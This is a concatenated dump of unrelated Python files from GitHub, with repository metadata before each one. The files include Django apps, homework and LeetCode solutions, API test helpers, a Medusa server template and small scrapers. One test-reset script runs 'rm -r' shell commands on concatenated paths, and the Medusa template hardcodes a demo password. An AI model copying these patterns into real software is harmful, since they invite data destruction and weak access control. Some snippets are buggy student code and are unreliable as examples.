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# Generated by Django 3.1.2 on 2020-12-06 13:54 from django.conf import settings import django.core.validators from django.db import migrations, models import django.db.models.deletion class Migration(migrations.Migration): initial = True dependencies = [ ('Authority', '0001_initial'), migrations.swappable_dependency(settings.AUTH_USER_MODEL), ] operations = [ migrations.CreateModel( name='rate', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('ratings', models.PositiveIntegerField(default=1, validators=[django.core.validators.MinValueValidator(1), django.core.validators.MaxValueValidator(5)])), ('comments', models.TextField(max_length=200)), ('user', models.ForeignKey(blank=True, on_delete=django.db.models.deletion.CASCADE, related_name='foods11', related_query_name='foods11', to=settings.AUTH_USER_MODEL)), ], ), migrations.CreateModel( name='problem_selected', fields=[ ('id', models.AutoField(auto_created=True, primary_key=True, serialize=False, verbose_name='ID')), ('p_id', models.IntegerField(default=0)), ('s', models.IntegerField(default=1)), ('problem_title', models.ForeignKey(null=True, on_delete=django.db.models.deletion.CASCADE, to='Authority.problem')), ('user', models.ForeignKey(blank=True, null=True, on_delete=django.db.models.deletion.CASCADE, related_name='order_foods', related_query_name='order_foods', to=settings.AUTH_USER_MODEL)), ], ), ]

UTF-8

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0001_initial.py

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sagoyanfisic/NuevoProyectoDisSist

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6ecc716153bf195fc72a8add6dcb07ab4f5bb2bf

1cf947450e39131fc571ef953138e292db495c2f

/project/principal/views.py

f1cb10b901c51e61297107f633fa8022ed577282

[]

no_license

https://github.com/sagoyanfisic/NuevoProyectoDisSist

bed93d1d6786402a21b987c32a57b79d29b00190

f5c3a12050aca62ced48483c218452a16dce5756

refs/heads/master

2020-06-05T07:08:53.642356

2014-07-01T23:39:05

null

0

null

from principal.models import Bebida , Receta , Comentario from django.contrib.auth.models import User from django.shortcuts import render_to_response , get_object_or_404 from django.http import HttpResponse, Http404 def lista_bebidas(request): bebidas = Bebida.objects.all() return render_to_response('lista_bebidas.html',{'lista':bebidas}) def sobre(request): html = "<html><body>Proyecto akakkaka en MDW</body></hmtl>" return HttpResponse(html) def inicio(request): recetas = Receta.objects.all() return render_to_response('inicio.html',{'recetas':recetas}) pass

UTF-8

Python

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views.py

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YangStark/33ics

472,446,424,894

4d60a731971a1c7a02565de409f37509747cfb87

30b635f7798bea6e02746ddad322ff04d883a03a

/program1/sbsbsbsbsbsbsb.py

e86156e9e289fb6cf80658ab9ae9bdbac658e2e6

[]

no_license

https://github.com/YangStark/33ics

74ee85d1bd2a406b981d4380295e254ebfb4a41a

a7d3b68ad965ee7e08365731ec203a0cb778221f

refs/heads/master

2020-04-13T17:26:01.685496

2019-09-27T23:19:25

163,348,001

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null

from random import choice from collections import defaultdict # For use in read_corpus: leave unchanged in this file def word_at_a_time(file : open): file = open("wginput1.txt","r") for line in file: for item in line.strip().split(): yield item def read_corpus(os : int, file : open) -> {(str):[str]}: return_dict = defaultdict(set) word_list = [result_item for result_item in word_at_a_time(file)] for i in range(len(word_list)-os+1): key_tuple = tuple(word_list[i:i+os]) try: return_dict[key_tuple].add(word_list[i+os]) except IndexError: pass return_dict = dict(return_dict) for keys in return_dict.keys(): return_dict[keys] = list(return_dict[keys]) return return_dict def corpus_as_str(corpus : {(str):[str]}) -> str: prt_str = "Corpus\n" len_min = min([len(i) for i in list(k.values())]) len_max = max([len(i) for i in list(k.values())]) for keys in sorted(list(corpus.keys())): prt_str += " "+str(keys)+ " can be followed by any of "+str(corpus[keys])+"\n" prt_str += "max/min list lengths = "+str(len_max)+"/"+str(len_min) return prt_str def produce_text(corpus : {(str):[str]}, start : [str], count : int) -> [str]: random_text = start len_pattern = len(list(corpus.keys())[0]) for i in range(count): if tuple(random_text[-len_pattern:]) not in list(corpus.keys()): random_text.append(None) break else: random_text.append(choice(corpus[tuple(random_text[-len_pattern:])])) return random_text k = read_corpus(2,"asdf") print(k) print(corpus_as_str(k)) print(produce_text(k,["a","d"],10))

UTF-8

Python

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1,765

py

8

sbsbsbsbsbsbsb.py

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0.581303

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0

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SEED-platform/seed

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fd0264509a64e18295c77b7d38954c4f6b85776b

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/seed/tests/api/seed_readingtools.py

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permissive

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refs/heads/develop

2023-09-01T10:46:25.502697

2023-08-30T18:44:21

25,450,714

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NOASSERTION

false

2023-09-13T22:18:47

2014-10-20T04:26:53

2023-09-11T19:24:59

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Python

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# !/usr/bin/env python # encoding: utf-8 """ SEED Platform (TM), Copyright (c) Alliance for Sustainable Energy, LLC, and other contributors. See also https://github.com/seed-platform/seed/main/LICENSE.md """ import csv import logging import os import pathlib import pprint import time from http.client import RemoteDisconnected import psutil import requests import urllib3 def report_memory(): mem = psutil.virtual_memory() print(mem) print(f'Free mem (MB): {mem.available / 1024}') min_amount = 100 * 1024 * 1024 # 100MB if mem.available <= min_amount: print("WARNING: Memory is low on system") # also report the processes (that we care about) ps = [p.info for p in psutil.process_iter(attrs=['pid', 'name']) if 'python' in p.info['name']] print(f'Python processes: {ps}') ps = [p.info for p in psutil.process_iter(attrs=['pid', 'name']) if 'celery' in p.info['name']] print(f'Celery processes: {ps}') # Three-step upload process def upload_file(upload_header, organization_id, upload_filepath, main_url, upload_dataset_id, upload_datatype): """ Proceeds with the filesystem upload. Args: upload_header: GET request headers upload_filepath: full path to file main_url: Host upload_dataset_id: What ImportRecord to associate file with. upload_datatype: Type of data in file (Assessed Raw, Portfolio Raw) Returns: { "import_file_id": 54, "success": true, "filename": "DataforSEED_dos15.csv" } """ upload_url = "%s/api/v3/upload/?organization_id=%s" % (main_url, organization_id) params = { 'import_record': upload_dataset_id, 'source_type': upload_datatype } return requests.post( upload_url, params=params, files=[ ('file', (pathlib.Path(upload_filepath).name, pathlib.Path(upload_filepath).read_bytes())), ], headers=upload_header ) def check_status(result_out, part_msg, log, piid_flag=None): """Checks the status of the API endpoint and makes the appropriate print outs.""" passed = '\033[1;32m...passed\033[1;0m' failed = '\033[1;31m...failed\033[1;0m' if result_out.status_code in [200, 201, 403, 401]: try: if piid_flag == 'export': content_str = result_out.content.decode() if content_str.startswith('id'): msg = "Data exported successfully" # the data are returned as text. No easy way to check the status. If ID # exists, then claim success. else: msg = content_str elif 'status' in result_out.json() and result_out.json()['status'] == 'error': msg = result_out.json()['message'] log.error(part_msg + failed) log.debug(msg) raise RuntimeError elif 'success' in result_out.json() and not result_out.json()['success']: msg = result_out.json() log.error(part_msg + failed) log.debug(msg) raise RuntimeError else: if piid_flag == 'organizations': msg = 'Number of organizations:\t' + str( len(result_out.json()['organizations'][0])) elif piid_flag == 'users': msg = 'Number of users:\t' + str(len(result_out.json()['users'][0])) elif piid_flag == 'mappings': msg = pprint.pformat(result_out.json()['suggested_column_mappings'], indent=2, width=70) else: msg = pprint.pformat(result_out.json(), indent=2, width=70) except BaseException: log.error(part_msg + failed) log.debug('Unknown error during request results recovery') raise RuntimeError log.info(part_msg + passed) log.debug(msg) elif result_out.status_code in [204]: msg = result_out.content log.info(part_msg + passed) log.debug(msg) else: msg = result_out.reason log.error(part_msg + failed) log.debug(msg) raise RuntimeError return def check_progress(main_url, header, progress_key): """Delays the sequence until progress is at 100 percent.""" time.sleep(2) print("checking progress {}".format(progress_key)) try: progress_result = requests.get( main_url + '/api/v3/progress/{}/'.format(progress_key), headers=header ) print("... {} ...".format(progress_result.json()['progress'])) except [urllib3.exceptions.ProtocolError, RemoteDisconnected, requests.exceptions.ConnectionError]: print("Server is not responding... trying again in a few seconds") progress_result = None except Exception: print("Other unknown exception caught!") progress_result = None if progress_result and progress_result.json()['progress'] == 100: return progress_result else: progress_result = check_progress(main_url, header, progress_key) return progress_result def read_map_file(mapfile_path): """Read in the mapping file""" assert (os.path.isfile(mapfile_path)), "Cannot find file:\t" + mapfile_path map_reader = csv.reader(open(mapfile_path, 'r')) map_reader.__next__() # Skip the header # Open the mapping file and fill list maplist = list() for rowitem in map_reader: maplist.append( { 'from_field': rowitem[0], 'from_units': rowitem[1], 'to_table_name': rowitem[2], 'to_field': rowitem[3], } ) return maplist def setup_logger(filename, write_file=True): """Set-up the logger object""" logging.getLogger("requests").setLevel(logging.WARNING) _log = logging.getLogger() _log.setLevel(logging.DEBUG) formatter = logging.Formatter('%(message)s') formatter_console = logging.Formatter('%(levelname)s - %(message)s') if write_file: fh = logging.FileHandler(filename, mode='a') fh.setLevel(logging.DEBUG) fh.setFormatter(formatter) _log.addHandler(fh) ch = logging.StreamHandler() ch.setLevel(logging.INFO) ch.setFormatter(formatter_console) _log.addHandler(ch) return _log def write_out_django_debug(partmsg, result): if result.status_code != 200: filename = '{}_fail.html'.format(partmsg) with open(filename, 'w') as fail: fail.writelines(result.text) print('Wrote debug -> {}'.format(filename))

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jkingben/minos

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/supervisor/supervisor/medusa/demo/start_medusa.py

2c72437b61c42dd9fa8e4000dfda8cb39fe7191e

[ "Apache-2.0", "HPND", "BSD-3-Clause-Modification", "ZPL-2.1", "LicenseRef-scancode-supervisor" ]

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2020-05-07T13:33:44.962162

2019-04-10T10:47:27

180,554,473

0

Apache-2.0

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2019-04-10T10:03:25

2019-04-10T10:03:24

2019-04-08T06:34:02

2015-05-28T09:15:32

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0

null

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# -*- Mode: Python -*- # # Sample/Template Medusa Startup Script. # # This file acts as a configuration file and startup script for Medusa. # # You should make a copy of this file, then add, change or comment out # appropriately. Then you can start up the server by simply typing # # $ python start_medusa.py # import os import sys from supervisor.medusa import asyncore_25 as asyncore from supervisor.medusa import http_server from supervisor.medusa import ftp_server from supervisor.medusa import chat_server from supervisor.medusa import monitor from supervisor.medusa import filesys from supervisor.medusa import default_handler from supervisor.medusa import status_handler from supervisor.medusa import resolver from supervisor.medusa import logger if len(sys.argv) > 1: # process a few convenient arguments [HOSTNAME, IP_ADDRESS, PUBLISHING_ROOT] = sys.argv[1:] else: HOSTNAME = 'www.nightmare.com' # This is the IP address of the network interface you want # your servers to be visible from. This can be changed to '' # to listen on all interfaces. IP_ADDRESS = '205.160.176.5' # Root of the http and ftp server's published filesystems. PUBLISHING_ROOT = '/home/www' HTTP_PORT = 8080 # The standard port is 80 FTP_PORT = 8021 # The standard port is 21 CHAT_PORT = 8888 MONITOR_PORT = 9999 # =========================================================================== # Caching DNS Resolver # =========================================================================== # The resolver is used to resolve incoming IP address (for logging), # and also to resolve hostnames for HTTP Proxy requests. I recommend # using a nameserver running on the local machine, but you can also # use a remote nameserver. rs = resolver.caching_resolver ('127.0.0.1') # =========================================================================== # Logging. # =========================================================================== # There are several types of logging objects. Multiple loggers may be combined, # See 'logger.py' for more details. # This will log to stdout: lg = logger.file_logger (sys.stdout) # This will log to syslog: #lg = logger.syslog_logger ('/dev/log') # This will wrap the logger so that it will # 1) keep track of the last 500 entries # 2) display an entry in the status report with a hyperlink # to view these log entries. # # If you decide to comment this out, be sure to remove the # logger object from the list of status objects below. # lg = status_handler.logger_for_status (lg) # =========================================================================== # Filesystem Object. # =========================================================================== # An abstraction for the file system. Filesystem objects can be # combined and implemented in interesting ways. The default type # simply remaps a directory to root. fs = filesys.os_filesystem (PUBLISHING_ROOT) # =========================================================================== # Default HTTP handler # =========================================================================== # The 'default' handler for the HTTP server is one that delivers # files normally - this is the expected behavior of a web server. # Note that you needn't use it: Your web server might not want to # deliver files! # This default handler uses the filesystem object we just constructed. dh = default_handler.default_handler (fs) # =========================================================================== # HTTP Server # =========================================================================== hs = http_server.http_server (IP_ADDRESS, HTTP_PORT, rs, lg) # Here we install the default handler created above. hs.install_handler (dh) # =========================================================================== # Unix user `public_html' directory support # =========================================================================== if os.name == 'posix': from supervisor.medusa import unix_user_handler uh = unix_user_handler.unix_user_handler ('public_html') hs.install_handler (uh) # =========================================================================== # FTP Server # =========================================================================== # Here we create an 'anonymous' ftp server. # Note: the ftp server is read-only by default. [in this mode, all # 'write-capable' commands are unavailable] ftp = ftp_server.ftp_server ( ftp_server.anon_authorizer ( PUBLISHING_ROOT ), ip=IP_ADDRESS, port=FTP_PORT, resolver=rs, logger_object=lg ) # =========================================================================== # Monitor Server: # =========================================================================== # This creates a secure monitor server, binding to the loopback # address on port 9999, with password 'fnord'. The monitor server # can be used to examine and control the server while it is running. # If you wish to access the server from another machine, you will # need to use '' or some other IP instead of '127.0.0.1'. ms = monitor.secure_monitor_server ('fnord', '127.0.0.1', MONITOR_PORT) # =========================================================================== # Chat Server # =========================================================================== # The chat server is a simple IRC-like server: It is meant as a # demonstration of how to write new servers and plug them into medusa. # It's a very simple server (it took about 2 hours to write), but it # could be easily extended. For example, it could be integrated with # the web server, perhaps providing navigational tools to browse # through a series of discussion groups, listing the number of current # users, authentication, etc... cs = chat_server.chat_server (IP_ADDRESS, CHAT_PORT) # =========================================================================== # Status Handler # =========================================================================== # These are objects that can report their status via the HTTP server. # You may comment out any of these, or add more of your own. The only # requirement for a 'status-reporting' object is that it have a method # 'status' that will return a producer, which will generate an HTML # description of the status of the object. status_objects = [ hs, ftp, ms, cs, rs, lg ] # Create a status handler. By default it binds to the URI '/status'... sh = status_handler.status_extension(status_objects) # ... and install it on the web server. hs.install_handler (sh) # become 'nobody' if os.name == 'posix': if hasattr (os, 'seteuid'): import pwd [uid, gid] = pwd.getpwnam ('nobody')[2:4] os.setegid (gid) os.seteuid (uid) # Finally, start up the server loop! This loop will not exit until # all clients and servers are closed. You may cleanly shut the system # down by sending SIGINT (a.k.a. KeyboardInterrupt). asyncore.loop()

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guoyandan/anwen

17,952,963,305,980

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[]

no_license

https://github.com/guoyandan/anwen

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refs/heads/master

2022-03-27T05:00:57.801153

2020-01-01T11:29:47

null

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null

#!/usr/bin/env python3 # encoding:utf-8 import sys import options from pymongo import MongoClient conn = MongoClient() adb = conn.anwen adb.authenticate(options.db['username'], options.db['password']) def fix(): n = 1 for i in adb.Hit_Col_v2.find().sort('_id', 1): i['id'] = n i['hitnum'] = 1 adb.Hit_Col.insert(i) n += 1 fix()

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ttwoodbury/IWTBA

9,242,769,657,239

532c5e40b0a141d875123dafe2d78e12d1ebf4c3

3f3a485c04fb16c7d351319dc8ed315ef92b6ab4

/scrapers/github_scrape.py

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[]

no_license

https://github.com/ttwoodbury/IWTBA

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refs/heads/master

2021-01-20T23:40:21.772031

2015-07-17T20:37:19

null

0

null

# quick and dirty github scrape # only 265 jobs, pages 0 to 5 (50 per page) postings = [] for x in range(6): r = requests.get('https://jobs.github.com/positions.json?description=&page=%s' % x) postings.extend(r.json()) #r.json is a list of dicts json.dump(postings, open('github_postings', 'w'))

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py

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github_scrape.py

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theo-ardouin/impose_ton_anonymat

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/impose/interfaces/__init__.py

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[]

no_license

https://github.com/theo-ardouin/impose_ton_anonymat

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2aede8307974ff84564439ad5af5aa056c932334

refs/heads/master

2023-05-18T12:10:54.582556

2020-07-29T18:17:10

275,205,197

0

null

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2021-02-26T02:56:12

2020-06-26T16:54:38

2020-07-29T18:17:13

2021-02-26T02:56:12

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from .database import IDatabase, ISession from .discord import IDiscord from .gateway import IImageGateway, ITaskGateway, IPermissionGateway

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py

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pavel-odintsov/RPKI-toolkit

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/rpki/gui/cacheview/misc.py

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[]

no_license

https://github.com/pavel-odintsov/RPKI-toolkit

88f16027bf9dcb498fb6a5a1805cec06368439a8

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refs/heads/master

2021-01-10T05:30:44.507868

2016-01-17T21:03:45

49,835,419

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null

# Copyright (C) 2011 SPARTA, Inc. dba Cobham Analytic Solutions # # Permission to use, copy, modify, and distribute this software for any # purpose with or without fee is hereby granted, provided that the above # copyright notice and this permission notice appear in all copies. # # THE SOFTWARE IS PROVIDED "AS IS" AND SPARTA DISCLAIMS ALL WARRANTIES WITH # REGARD TO THIS SOFTWARE INCLUDING ALL IMPLIED WARRANTIES OF MERCHANTABILITY # AND FITNESS. IN NO EVENT SHALL SPARTA BE LIABLE FOR ANY SPECIAL, DIRECT, # INDIRECT, OR CONSEQUENTIAL DAMAGES OR ANY DAMAGES WHATSOEVER RESULTING FROM # LOSS OF USE, DATA OR PROFITS, WHETHER IN AN ACTION OF CONTRACT, NEGLIGENCE # OR OTHER TORTIOUS ACTION, ARISING OUT OF OR IN CONNECTION WITH THE USE OR # PERFORMANCE OF THIS SOFTWARE. from rpki.resource_set import resource_range_ipv4, resource_range_ipv6 from rpki.exceptions import BadIPResource def parse_ipaddr(s): # resource_set functions only accept str if isinstance(s, unicode): s = s.encode() s = s.strip() r = resource_range_ipv4.parse_str(s) try: r = resource_range_ipv4.parse_str(s) return 4, r except BadIPResource: r = resource_range_ipv6.parse_str(s) return 6, r # vim:sw=4 ts=8 expandtab

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misc.py

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sami-adam/odoo-hr

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/hr_attendance_zkteco/controllers/controllers.py

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[]

no_license

https://github.com/sami-adam/odoo-hr

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refs/heads/main

2023-05-31T22:51:08.884588

2021-07-07T11:42:09

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2021-07-07T11:40:05

2021-07-07T11:40:09

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# -*- coding: utf-8 -*- from odoo import http # class HrAttendanceZkteco(http.Controller): # @http.route('/hr_attendance_zkteco/hr_attendance_zkteco/', auth='public') # def index(self, **kw): # return "Hello, world" # @http.route('/hr_attendance_zkteco/hr_attendance_zkteco/objects/', auth='public') # def list(self, **kw): # return http.request.render('hr_attendance_zkteco.listing', { # 'root': '/hr_attendance_zkteco/hr_attendance_zkteco', # 'objects': http.request.env['hr_attendance_zkteco.hr_attendance_zkteco'].search([]), # }) # @http.route('/hr_attendance_zkteco/hr_attendance_zkteco/objects/<model("hr_attendance_zkteco.hr_attendance_zkteco"):obj>/', auth='public') # def object(self, obj, **kw): # return http.request.render('hr_attendance_zkteco.object', { # 'object': obj # })

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romankurnovskii/parsers

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/parseLeroymerlin/leroymerlinparser/items.py

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permissive

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refs/heads/master

2022-12-25T15:18:04.461059

2020-10-13T18:47:31

292,517,773

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import scrapy from scrapy.loader.processors import TakeFirst, MapCompose import re def convert_to_int(num): if num: return int(num) def convert_to_float(num): if num: num = num.replace(" ", "") return float(num) def cleaner_photo(value): if value[:2] == '//': return f'http:{value}' return value def split_characteristics(value): characteristic = {} try: characteristic['name'] = value.xpath( './dt[@class="def-list__term"]/text()').extract_first() characteristic['value'] = formatting_string( value.xpath('./dd[@class="def-list__definition"]/text()').extract_first()) except Exception as ex: print(f'split_characteristics - {ex}') return characteristic def formatting_string(string): if string: res = re.sub('^\s+|\n|\r|\s+$', '', string) return res class LeroymerlinparserItem(scrapy.Item): name = scrapy.Field(output_processor=TakeFirst()) photo = scrapy.Field(input_processor=MapCompose(cleaner_photo)) price = scrapy.Field(input_processor=MapCompose( convert_to_float), output_processor=TakeFirst()) currency = scrapy.Field(output_processor=TakeFirst()) link = scrapy.Field(output_processor=TakeFirst()) unit = scrapy.Field(output_processor=TakeFirst()) characteristics = scrapy.Field( input_processor=MapCompose(split_characteristics)) _id = scrapy.Field(input_processor=MapCompose( convert_to_int), output_processor=TakeFirst())

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erp5/erp5

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/bt5/erp5_base/SkinTemplateItem/portal_skins/erp5_base/CurrencyExchangeLine_asCellRange.py

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[]

no_license

https://github.com/erp5/erp5

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refs/heads/master

2021-01-23T15:06:33.385280

2021-01-21T22:20:46

2021-01-22T12:11:07

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2014-12-04T09:07:04

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2014-12-04T01:43:56

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currency_exchange_type_list = context.portal_categories.currency_exchange_type.getCategoryChildRelativeUrlList() resource_list = ['resource/%s' % context.getParentValue().getRelativeUrl()] price_currency_list = [context.getPriceCurrency(base=True)] return (currency_exchange_type_list, resource_list, price_currency_list)

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py

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CurrencyExchangeLine_asCellRange.py

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BeefCakes/CS112-Spring2012

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/hw04/sect4_for.py

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[]

no_license

https://github.com/BeefCakes/CS112-Spring2012

d6030ae71598a4ad4a1bf2e343a51d4ff47d4176

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refs/heads/master

2021-01-18T10:08:26.074959

2012-03-28T15:44:18

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#!/usr/bin/env python from hwtools import * print "Section 4: For Loops" print "-----------------------------" nums = input_nums() # 1. What is the sum of all the numbers in nums? print "1. Sum of",sum(nums) # 2. Print every even number in nums print "2. Even numbers:", evens = [] for i in nums: if i%2 == 0: evens.append(i) print evens #CODE GOES HERE # 3. Does nums only contain even numbers? for i in nums: if i%2 !=0: only_even = False else: only_even = True #CODE GOES HERE print "3.", if only_even: print "only even" else: print "some odd" # 4. Generate a list every odd number less than 100. Hint: use range() odds = [] print "4. Every odd number under 100:", for i in range(100): if i%2 !=0: odds.append(i) print odds

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junyang10734/leetcode-python

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/40.py

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no_license

https://github.com/junyang10734/leetcode-python

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2023-07-22T11:16:38.740863

2023-07-14T00:22:00

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# 40. Combination Sum II # backtrack # 模板 class Solution: def combinationSum2(self, candidates: List[int], target: int) -> List[List[int]]: candidates.sort() res = [] path, pathSum = [], 0 def backtrack(start): nonlocal pathSum if pathSum == target: res.append(path.copy()) return elif pathSum > target: return else: for i in range(start, len(candidates)): if i > start and candidates[i] == candidates[i-1]: continue path.append(candidates[i]) pathSum += candidates[i] backtrack(i+1) path.pop() pathSum -= candidates[i] backtrack(0) return res

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tlktoash/dailycodingproblem

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/python/dynamic-programming/dp_stairs_climbing.py

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[]

no_license

https://github.com/tlktoash/dailycodingproblem

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refs/heads/master

2018-10-31T02:51:11.509591

2018-10-30T04:16:03

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# A child is climbing up a staircase with n steps, and can hop either 1 step, 2 steps, or 3 # steps at a time. Implement a method to count how many possible ways the child can jump up the stairs. # # Example: # # Number of stairs : 3 # # Number of ways = 4 ( {1,1,1}, {1,2}, {2,1}, {3} ) def possible_ways_rec(n): if n < 1: return 0 return 1 + possible_ways_rec(n - 1) + possible_ways_rec(n - 2) + possible_ways_rec(n - 3) def possible_ways_dp(n, memz): if n < 1: return 0 if memz[n] > 0: return memz[n] memz[n] = 1 + possible_ways_dp(n - 1, memz) + possible_ways_dp(n - 2, memz) + \ possible_ways_dp(n - 3, memz) return memz[n] print(possible_ways_dp(500, [0] * 501))

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jepemo/basic-agent

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/tests/test_messages.py

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refs/heads/master

2020-03-07T06:08:03.272881

2018-04-30T15:57:45

127,314,120

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# -*- coding: utf-8 -*- # This file is part of bagent # # Copyright (C) 2018-present Jeremies Pérez Morata # # Permission is hereby granted, free of charge, to any person obtaining # a copy of this software and associated documentation files (the # "Software"), to deal in the Software without restriction, including # without limitation the rights to use, copy, modify, merge, publish, # distribute, sublicense, and/or sell copies of the Software, and to # permit persons to whom the Software is furnished to do so, subject to # the following conditions: # # The above copyright notice and this permission notice shall be # included in all copies or substantial portions of the Software. import unittest from bagent import * MSG_RECEIVED1 = None MSG_RECEIVED2 = None async def agent1a(ctx): pid = await ctx.start(agent1b) await ctx.send(pid, "msg1") async def agent1b(ctx): global MSG_RECEIVED1 (sender, msg) = await ctx.recv() MSG_RECEIVED1 = msg async def agent2a(ctx): pid = await ctx.start(agent2b) await ctx.send(pid, "msg2") async def agent2b(ctx): global MSG_RECEIVED2 async with ctx.get_message() as m: MSG_RECEIVED2 = m.msg class TestMessages(unittest.TestCase): def test_recv(self): with get_agent_context() as ctx: ctx.start(agent1a) self.assertEqual(MSG_RECEIVED1, "msg1") def test_get_message(self): with get_agent_context() as ctx: ctx.start(agent2a) self.assertEqual(MSG_RECEIVED2, "msg2")

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Yang-Jianlin/python-learn

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/LeetCode/T-7.py

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[]

no_license

https://github.com/Yang-Jianlin/python-learn

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refs/heads/master

2023-07-12T16:35:13.489422

2021-08-23T11:54:10

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class Solution: def reverse(self, x: int) -> int: if x == 0: return 0 res = 0 if x < 0: x = str(x)[1:] x = x[::-1] x = '-' + x res = int(x) elif x > 0: x = str(x) x = x[::-1] res = int(x) if res > 2**31-1 or res <-2**31: res = 0 return res if __name__ == '__main__': s = Solution() x = -120 print(s.reverse(x))

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happyhairfish/ctg2

5,102,421,194,646

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/test.py

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permissive

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d5b5ed1281b55e3a8b00ef4551fe6b233d153aad

refs/heads/master

2020-08-05T14:26:09.517140

2016-11-25T00:34:08

67,298,314

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import random dado1 = random.randint(1,6) print('dado1',dado1) dado2 = random.randint(1,6) print('dado2',dado2) suma=dado1+dado2 print('suma',suma) while ((suma==7) or (dado1==6 and dado2==6) or (((dado1==6) and (dado2%2==1)) or ((dado2==6) and (dado1%2==1)))): dado1 = random.randint(1,6) dado2 = random.randint(1,6) suma=dado1+dado2 print('dado1',dado1) print('dado2',dado2) print('suma',suma)

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/pushsoftwareupdate/resetblackboxupdate.py

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""" <Program Name> resetblackboxupdate.py <Started> December 17, 2008 <Author> Brent Couvrette couvb@cs.washington.edu <Purpose> This script sets up the environment for pushsoftareupdate to run correctly. This includes running it through the repy preprocessor, making sure it knows where all its imports are, clearing out the blackbox update site, initializing the current_folder_num, current_key_num, and current_update_num files, creating the initial keypair, and creating the initial installers to be used. <Usage> This script should be run once before starting the update blackbox test cron job. After that, it should only be run again if the blackbox test system becomes so corrupt that it needs to be completely started over. Note that it makes use of the constants in pushsoftwareupdate, so that should be confirmed correct before running this. Also note that for simplicity, this uses some linux specific features. """ import subprocess import os # Runs the repy preprocessor on pushsoftwareupdate.mix, then imports # the resulting pushsoftwareupdate.py. Assumes that we are running from # within the integrationtests folder in a standard svn checkout of trunk. def preprocess(): # Move to the seattlelib directory orig_dir = os.getcwd() os.chdir('../seattlelib/') # Run the preprocessor subprocess.call('python repypp.py ../integrationtests/pushsoftwareupdate.mix \ ../integrationtests/pushsoftwareupdate.py', shell=True) # Get back to our original directory os.chdir(orig_dir) # Need to copy over certain files so that the import repyportability works. subprocess.call('cp ../portability/repyportability.py ../repy/* .', shell=True) # Need to copy over certain files so that the import make_base_installers # works. subprocess.call('cp ../dist/make_base_installers.py ../dist/clean_folder.py \ ../dist/build_installers.py .', shell=True) # Importing pushsoftwareupdate should now be successful. print "Finished preprocessing" # clears out the folder specified as the root of the update site in # pushsoftwareupdate.py. Also clears out the folder containing the keypairs # in the current directory. We only remove the specific things we make, # just in case say the update_base_directory gets set to /. Just doing # rm -r * there would almost certainly be extremely devastating. def clear_blackbox(): import pushsoftwareupdate # Remove the file keeping track of the folder number subprocess.call('rm ' + pushsoftwareupdate.update_base_directory + pushsoftwareupdate.foldernum_fn, shell=True) # Remove the file keeping track of the key number subprocess.call('rm ' + pushsoftwareupdate.update_base_directory + pushsoftwareupdate.keynum_fn, shell=True) # Remove the file keeping track of the update number subprocess.call('rm ' + pushsoftwareupdate.update_base_directory + pushsoftwareupdate.updatenum_fn, shell=True) # Remove all update folders subprocess.call('rm -r ' + pushsoftwareupdate.update_base_directory + 'update_location*', shell=True) # Remove any current installed files subprocess.call('rm -r ' + pushsoftwareupdate.update_base_directory + pushsoftwareupdate.installer_folder, shell=True) # Remove all previous keypairs subprocess.call('rm -r ' + pushsoftwareupdate.key_folder, shell=True) print "Finished clearing" # Creates and initializes the counting files def init_counts(): import pushsoftwareupdate # init the folder count numfile = open(pushsoftwareupdate.update_base_directory + pushsoftwareupdate.foldernum_fn, 'w') numfile.write('0') numfile.close() # init the key count numfile = open(pushsoftwareupdate.update_base_directory + pushsoftwareupdate.keynum_fn, 'w') numfile.write('0') numfile.close() # init the update count numfile = open(pushsoftwareupdate.update_base_directory + pushsoftwareupdate.updatenum_fn, 'w') numfile.write('0') numfile.close() print "Finished creating count files" # Creates the folder to contain the keys, as well as the first keypair def init_first_keys(): import pushsoftwareupdate os.mkdir(pushsoftwareupdate.key_folder) pushsoftwareupdate.makekeys(0) print "Finished making keys" # Creates the installer folder, as well as the initial installers def init_first_installers(): import pushsoftwareupdate os.mkdir(pushsoftwareupdate.update_base_directory + pushsoftwareupdate.installer_folder) trunk = pushsoftwareupdate.svn_trunk_location pubkey = pushsoftwareupdate.key_folder + 'pubkey0' privkey = pushsoftwareupdate.key_folder + 'privkey0' updatesite = pushsoftwareupdate.update_base_url + 'update_location0' pushsoftwareupdate.create_installers(trunk, pubkey, privkey, updatesite, pubkey, 0) print "Finished making installers" def main(): preprocess() clear_blackbox() init_counts() init_first_keys() init_first_installers() if __name__ == "__main__": main()

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# -*- encoding: utf-8 -*- # import os # import json from .. import os, inspect, log_cis, pformat, json, json_util cwd = os.getcwd() json_folderpath = cwd + "/app/static/json/" ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### ### NORMALIZATION TAGS / UTILS ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### def normalization_as_json( var_name, norm_dict, filepath=json_folderpath ) : """ dumps all norm_dict in a pseudo-json file """ # locals_function = locals() # log_cis.info("... normalization_as_json / locals_function : %s", locals_function ) # intro_var = [ k for k,v in locals_function.iteritems() ] # log_cis.info("... normalization_as_json / intro_var : %s", intro_var ) log_cis.info("... normalization_as_json / file : %s.js", var_name ) full_filepath = filepath + var_name + '.js' json_file = open(full_filepath, "w") json_file.write( "var " + var_name + " = " ) # json_file.write('[') json_file.write(json.dumps(norm_dict,indent=4, default=json_util.default)) # json_file.write(',') # json_file.write(']') ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### ### NORMALIZATION / CHOICES FOR CHECKBOXES INPUTS ### + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + ### # CHOICES_DOMAINS = [ # (u"life_env" , u"Cadre de vie"), # (u"sust_env" , u"Développement durable"), # (u"eco_dev" , u"Développement économique"), # (u"habitat" , u"Habitat"), # (u"inclusion " , u"Inclusion"), # (u"social_net" , u"Lien social"), # (u"health_sport" , u"Santé et sport"), # (u"employment" , u"Travail"), # ] # CHOICES_METHODS = [ # (u"cooperate" , u"Coopération"), # (u"evaluate" , u"Evaluation"), # (u"govern" , u"Gouvernance"), # (u"philantropy" , u"Mécénat"), # (u"mediate" , u"Médiation"), # (u"participate" , u"Participation"), # (u"research" , u"Recherche"), # ] # CHOICES_PUBLICS = [ # (u"" , u"Tous publics"), # (u"handicap" , u"Handicap"), # (u"youth" , u"Jeunesse"), # (u"senior" , u"Seniors"), # ] # CHOICES_FILTERS_TAGS = [ # { "domains" : { # "fullname" : u"Domaines", # "choices" : CHOICES_DOMAINS , # } # }, # # { "geoloc" : { # # "fullname" : u"Localisations", 